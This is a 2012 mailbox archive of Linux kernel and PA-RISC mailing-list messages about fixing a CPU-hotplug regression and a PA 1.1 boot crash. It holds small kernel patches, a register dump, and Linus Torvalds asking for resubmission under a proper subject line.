	Wed, 16 May 2012 00:10:26 +0530
Original-Received: from d28av03.in.ibm.com (d28av03.in.ibm.com [9.184.220.65])
	by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q4FIeQno54460590;
	Wed, 16 May 2012 00:10:26 +0530
Original-Received: from d28av03.in.ibm.com (loopback [127.0.0.1])
	by d28av03.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q4G09dqd023090;
	Wed, 16 May 2012 10:09:41 +1000
Original-Received: from [9.79.252.250] ([9.79.252.250])
	by d28av03.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q4G09aPx022947;
	Wed, 16 May 2012 10:09:36 +1000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120424 Thunderbird/12.0
In-Reply-To: <4FB2A090.6060404@linux.vnet.ibm.com>
x-cbid: 12051518-5816-0000-0000-0000029F8612
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1297702 gmane.linux.ports.parisc:4386
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1297702>

On 05/15/2012 11:59 PM, Srivatsa S. Bhat wrote:

> On 05/15/2012 10:54 PM, Linus Torvalds wrote:
> 
>> On Sun, May 13, 2012 at 5:42 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>>
>>> I successfully booted 3.4-rc7 with this change on rp3440 (4 cpu smp).  My
>>> build also
>>> included cache and other fixes that are being discussed on the parisc list.
>>
>> Can somebody send the final patches with proper subject lines etc,
>> instead of hiding them in unrelated threads? I hate picking up patches
>> that I don't personally know from the middle of some random thread.
>>
> 
> 
> Okay, here they are:
> 


This one is for mn10300:

---
From: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
Subject: [PATCH] mn10300/CPU hotplug: Add missing call to notify_cpu_starting()

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
---

 arch/mn10300/kernel/smp.c |    9 ++++++---
 1 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/arch/mn10300/kernel/smp.c b/arch/mn10300/kernel/smp.c
index 910dddf..9cd69ad 100644
--- a/arch/mn10300/kernel/smp.c
+++ b/arch/mn10300/kernel/smp.c
@@ -24,6 +24,7 @@
 #include <linux/sched.h>
 #include <linux/profile.h>
 #include <linux/smp.h>
+#include <linux/cpu.h>
 #include <asm/tlbflush.h>
 #include <asm/bitops.h>
 #include <asm/processor.h>
@@ -38,7 +39,6 @@
 #include "internal.h"
 
 #ifdef CONFIG_HOTPLUG_CPU
-#include <linux/cpu.h>
 #include <asm/cacheflush.h>
 
 static unsigned long sleep_mode[NR_CPUS];
@@ -874,10 +874,13 @@ static void __init smp_online(void)
 
 	cpu = smp_processor_id();
 
-	local_irq_enable();
+	notify_cpu_starting(cpu);
 
+	ipi_call_lock();
 	set_cpu_online(cpu, true);
-	smp_wmb();
+	ipi_call_unlock();
+
+	local_irq_enable();
 }
 
 /**



From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Tue, 15 May 2012 11:42:23 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <CA+55aFwLayGtrWJw1bN9+wwy4NqeyV2Bwkt5VWJVF-a=eGkDcQ@mail.gmail.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com>
 <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl>
 <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl>
 <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl> <CA+55aFy1TGH07Ng-nbmWs2N8=kfFMCMosF1TsevLcHhCpWL-LQ@mail.gmail.com>
 <4FB2A090.6060404@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1337107372 6984 80.91.229.3 (15 May 2012 18:42:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 18:42:52 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 20:42:48 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUMhr-0001rJ-RS
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 20:42:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933288Ab2EOSmr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 14:42:47 -0400
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:48384 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932419Ab2EOSmq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 14:42:46 -0400
Original-Received: by weyu7 with SMTP id u7so2727330wey.19
        for <multiple recipients>; Tue, 15 May 2012 11:42:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=RpBM+EfymjJb3hOXE2UZycUz/Q0sPRfJiSkCatforQk=;
        b=Fl38oyoKU9fkXMcKbWb3lCR+YvCSJKhPlztaJAUaQu4S8bJAO90r2dlpVmatpL6VXs
         +YkBoQl/f+HvTU44fGKk8lR9SINebvR974/55q9fhuqfebxcBQS9CQAMeU90JmaC+cfY
         aqFDCtE66w95MPIolN+mTb7bduKLriqoCiUgQeIwiZfjs7qTaG7JS0mfLp3Lp/xKIVq+
         le3c4jp49PI149QCcSA+GWu6EJ6fDuoD49aFf9dCfDD6XbnTUok6fws4E1fjBiOb9wDx
         QTmrzzodvg7CgAVZLXCSvuzwb4im+2pVKQdfSIpF56CFVbgHG+dhQXjoriFwFWziXHdo
         pHwA==
Original-Received: by 10.180.24.193 with SMTP id w1mr33073679wif.5.1337107365125; Tue,
 15 May 2012 11:42:45 -0700 (PDT)
Original-Received: by 10.216.225.99 with HTTP; Tue, 15 May 2012 11:42:23 -0700 (PDT)
In-Reply-To: <4FB2A090.6060404@linux.vnet.ibm.com>
X-Google-Sender-Auth: kAkecDBOCkncBBplgPJpOiPKV04
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4387 gmane.linux.kernel:1297703
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4387>

On Tue, May 15, 2012 at 11:29 AM, Srivatsa S. Bhat
<srivatsa.bhat@linux.vnet.ibm.com> wrote:
>>
>> Can somebody send the final patches with proper subject lines etc,
>> instead of hiding them in unrelated threads? I hate picking up patches
>> that I don't personally know from the middle of some random thread.
>>
>
>
> Okay, here they are:

What part of "with proper subject lines" didn't you get?

Look at the subject line. Look at how you put the patch in the middle
of an old thread that was about something totally different.

This was *exactly* what I complained about. I don't want patches like this.

                  Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Wed, 16 May 2012 00:15:17 +0530
Lines: 33
Approved: news@gmane.org
Message-ID: <4FB2A43D.7090005@linux.vnet.ibm.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl> <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl> <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl> <CA+55aFy1TGH07Ng-nbmWs2N8=kfFMCMosF1TsevLcHhCpWL-LQ@mail.gmail.com> <4FB2A090.6060404@linux.vnet.ibm.com> <CA+55aFwLayGtrWJw1bN9+wwy4NqeyV2Bwkt5VWJVF-a=eGkDcQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337107571 8668 80.91.229.3 (15 May 2012 18:46:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 18:46:11 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 20:46:06 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUMl1-0003TZ-Un
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 20:46:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966047Ab2EOSqD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 14:46:03 -0400
Original-Received: from e28smtp08.in.ibm.com ([122.248.162.8]:57406 "EHLO
	e28smtp08.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965807Ab2EOSqB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 14:46:01 -0400
Original-Received: from /spool/local
	by e28smtp08.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Wed, 16 May 2012 00:15:58 +0530
Original-Received: from d28relay02.in.ibm.com (9.184.220.59)
	by e28smtp08.in.ibm.com (192.168.1.138) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Wed, 16 May 2012 00:15:56 +0530
Original-Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64])
	by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q4FIjusC3539336;
	Wed, 16 May 2012 00:15:56 +0530
Original-Received: from d28av02.in.ibm.com (loopback [127.0.0.1])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q4G0GVUW022985;
	Wed, 16 May 2012 10:16:33 +1000
Original-Received: from [9.79.252.250] ([9.79.252.250])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q4G0GSFs022909;
	Wed, 16 May 2012 10:16:28 +1000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120424 Thunderbird/12.0
In-Reply-To: <CA+55aFwLayGtrWJw1bN9+wwy4NqeyV2Bwkt5VWJVF-a=eGkDcQ@mail.gmail.com>
x-cbid: 12051518-2000-0000-0000-0000078260E6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4388 gmane.linux.kernel:1297706
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4388>

On 05/16/2012 12:12 AM, Linus Torvalds wrote:

> On Tue, May 15, 2012 at 11:29 AM, Srivatsa S. Bhat
> <srivatsa.bhat@linux.vnet.ibm.com> wrote:
>>>
>>> Can somebody send the final patches with proper subject lines etc,
>>> instead of hiding them in unrelated threads? I hate picking up patches
>>> that I don't personally know from the middle of some random thread.
>>>
>>
>>
>> Okay, here they are:
> 
> What part of "with proper subject lines" didn't you get?
> 
> Look at the subject line. Look at how you put the patch in the middle
> of an old thread that was about something totally different.
> 
> This was *exactly* what I complained about. I don't want patches like this.
> 


Oops! Sorry about that! I will resend in a separate thread with appropriate
subject line.

Regards,
Srivatsa S. Bhat

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 20:50:50 +0200
Lines: 109
Approved: news@gmane.org
Message-ID: <4FB2A58A.9050706@gmx.de>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337107858 10836 80.91.229.3 (15 May 2012 18:50:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 18:50:58 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 20:50:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUMpk-0000YO-QI
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 20:50:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932843Ab2EOSu4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 14:50:56 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:59921 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S932419Ab2EOSuz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 14:50:55 -0400
Original-Received: (qmail invoked by alias); 15 May 2012 18:50:52 -0000
Original-Received: from p54AD0613.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.6.19]
  by mail.gmx.net (mp032) with SMTP; 15 May 2012 20:50:52 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19CQ5k82wNCB9iUH91jSGr6Z2VAXHcsbI4Oum41s5
	4ov9OD/rAah1sd
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <4FB29F13.5070801@bell.net>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4389
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4389>

On 05/15/2012 08:23 PM, John David Anglin wrote:
> On 5/15/2012 5:13 AM, James Bottomley wrote:
>> On Tue, 2012-05-15 at 09:09 +0100, James Bottomley wrote:
>>> On Mon, 2012-05-14 at 18:38 -0400, John David Anglin wrote:
>>>> On 14-May-12, at 6:11 PM, Helge Deller wrote:
>>>>
>>>>> The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed
>>>>> with the following trace.
>>>>> All logs attached.
>>>>>
>>>>> Any ideas?
>>>> This is exactly the same failure as reported by Vincent.
>>>>
>>>> The most likely problem is the PA 1.1 tmpalias support in entry.S is
>>>> broken.  For example,
>>>> the cache stride that is loaded in flush_dcache_page_asm to register
>>>> r1 is wrong.  Probably,
>>>> the do_alias macro is wrong for PA 1.1.  This is hunk of code that
>>>> should be executed
>>>> when a fdc non access fault occurs.
>>>>
>>>> nadtlb_check_alias_11:
>>>>           do_alias        spc,t0,t1,va,pte,prot,nadtlb_emulate
>>>>
>>>>           idtlba          pte,(va)
>>>>           idtlbp          prot,(va)
>>>>
>>>>           rfir
>>>>           nop
>>>>
>>>> The TLB insert instructions on PA 1.1 have a different format than on
>>>> PA 2.0.  I'm not sure
>>>> how this would corrupt r1.
>>>>
>>>> On the other hand, I had asked Vincent to put a "b,n ." instruction
>>>> just before the fdc loop,
>>>> boot, hit the TOC button, and capture the setup registers for the
>>>> flush operation.  It's possible
>>>> the stride variable has been clobbered.
>>> Actually, I don't think it's that.  I built a PA 1.1 only kernel and
>>> booted it successfully on the C360.  That exercises all the _11 paths,
>>> so I don't think there's a code fault.  I do think there's a non PA1.1
>>> instruction in there somewhere that the C360 wouldn't notice.
>> OK, I think this is the problem.  We have a depd instruction in do_alias
>> which is now in the _11 fault paths.
>>
>> This should be the fix, if someone wants to test it before I can get
>> around to building it.
>>
>> James
>>
>> ---
>>
>> diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
>> index 6f05944..5350342 100644
>> --- a/arch/parisc/kernel/entry.S
>> +++ b/arch/parisc/kernel/entry.S
>> @@ -581,7 +581,11 @@
>>        */
>>       cmpiclr,=    0x01,\tmp,%r0
>>       ldi        (_PAGE_DIRTY|_PAGE_READ|_PAGE_WRITE),\prot
>> +#ifdef CONFIG_64BIT
>>       depd,z        \prot,8,7,\prot
>> +#else
>> +    depw,z        \prot,8,7,\prot
>> +#endif
>>       /*
>>        * OK, it is in the temp alias region, check whether "from" or 
>> "to".
>>        * Check "subtle" note in pacache.S re: r23/r26.
> Better check that this fix doesn't break 32-bit PA 2.0 as the seven 
> bit are now being deposited
> in a different place.


James & Dave - good catches!

James patch now let my 715/64 boot, but still crashes on my B160L:

swapper (pid 1): Illegal instruction (code 8)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001110000100001111 Not tainted
r00-03  0004e10f 00000020 101198cc 17c245c0
r04-07  ffeff000 17ec05f8 007d4000 17e60260
r08-11  17c5100b fffff000 17e60310 00020000
r12-15  00000ffc 0000000b 00000000 ffeff000
r16-19  007d4000 10768020 10000000 17c22db8
r20-23  17c245c8 108fc000 00000001 00000020
r24-27  000007d4 0f2fffe0 0000fa80 106e2020
r28-31  0f2ff000 000074ee 17c24640 000072e6
sr00-03  00000000 00000001 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
  IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
  CPU:        0   CR30: 17c24000 CR31: f0102978
  ORIG_R28: 17ebbe40
  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
  RP(r2): flush_cache_page+0x90/0xb0
Backtrace:


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [RESEND PATCH 0/2] arch/CPU hotplug: Add missing CPU Hotplug bits to
 fix nasty issues
Date: Wed, 16 May 2012 00:31:43 +0530
Lines: 36
Approved: news@gmane.org
Message-ID: <20120515190115.22459.93544.stgit@srivatsabhat>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337108558 16520 80.91.229.3 (15 May 2012 19:02:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:02:38 +0000 (UTC)
Cc: akpm@linux-foundation.org, mingo@kernel.org,
	a.p.zijlstra@chello.nl, mpatocka@redhat.com,
	stepanm@codeaurora.org, tglx@linutronix.de,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, srivatsa.bhat@linux.vnet.ibm.com,
	linux-am33-list@redhat.com
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:02:33 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUN0x-0008NS-Sr
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:02:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966427Ab2EOTCb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:02:31 -0400
Original-Received: from e23smtp07.au.ibm.com ([202.81.31.140]:36873 "EHLO
	e23smtp07.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S966266Ab2EOTCa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:02:30 -0400
Original-Received: from /spool/local
	by e23smtp07.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Tue, 15 May 2012 18:54:42 +1000
Original-Received: from d23relay04.au.ibm.com (202.81.31.246)
	by e23smtp07.au.ibm.com (202.81.31.204) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Tue, 15 May 2012 18:54:39 +1000
Original-Received: from d23av01.au.ibm.com (d23av01.au.ibm.com [9.190.234.96])
	by d23relay04.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q4FItPtW24707270;
	Wed, 16 May 2012 04:55:25 +1000
Original-Received: from d23av01.au.ibm.com (loopback [127.0.0.1])
	by d23av01.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q4FJ2NNm031558;
	Wed, 16 May 2012 05:02:25 +1000
Original-Received: from [192.168.122.1] ([9.79.252.250])
	by d23av01.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q4FJ2G7C031482;
	Wed, 16 May 2012 05:02:18 +1000
User-Agent: StGIT/0.14.3
x-cbid: 12051508-0260-0000-0000-00000120779E
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4390 gmane.linux.kernel:1297712
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4390>

Unfortunately, some of the CPU Hotplug code has been duplicated in all of
the architectures. And in some cases, very poorly (some architectures left
out some of the important bits), to add to the woes.

Commit 5fbd036b552f633abb394a319f7c62a5c86a9cd7 (sched: Cleanup cpu_active
madness) introduced some changes that made the scheduler rely on the
CPU_STARTING notifier. And hence those architectures which forgot to
send out the CPU_STARTING notification will almost surely get into trouble.
(Xen is one example[1]).

The proper fix would be to pull out these bits into generic CPU Hotplug code.
But for now, fix this regression by adding the missing bits in the respective
architectures.

[1].https://lkml.org/lkml/2012/3/20/459
--
 Srivatsa S. Bhat (2):
      parisc/CPU hotplug: Add missing call to notify_cpu_starting()
      mn10300/CPU hotplug: Add missing call to notify_cpu_starting()


  arch/mn10300/kernel/smp.c |    9 ++++++---
 arch/parisc/kernel/smp.c  |    8 +++++++-
 2 files changed, 13 insertions(+), 4 deletions(-)



Thanks,
Srivatsa S. Bhat
IBM Linux Technology Center

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [RESEND PATCH 1/2] parisc/CPU hotplug: Add missing call to
 notify_cpu_starting()
Date: Wed, 16 May 2012 00:32:17 +0530
Lines: 46
Approved: news@gmane.org
Message-ID: <20120515190157.22459.91924.stgit@srivatsabhat>
References: <20120515190115.22459.93544.stgit@srivatsabhat>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337108592 16804 80.91.229.3 (15 May 2012 19:03:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:03:12 +0000 (UTC)
Cc: akpm@linux-foundation.org, mingo@kernel.org,
	a.p.zijlstra@chello.nl, mpatocka@redhat.com,
	stepanm@codeaurora.org, tglx@linutronix.de,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, srivatsa.bhat@linux.vnet.ibm.com,
	linux-am33-list@redhat.com
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:03:07 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUN1U-00049r-Rn
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:03:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966462Ab2EOTDE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:03:04 -0400
Original-Received: from e28smtp08.in.ibm.com ([122.248.162.8]:48786 "EHLO
	e28smtp08.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S966459Ab2EOTDC (ORCPT
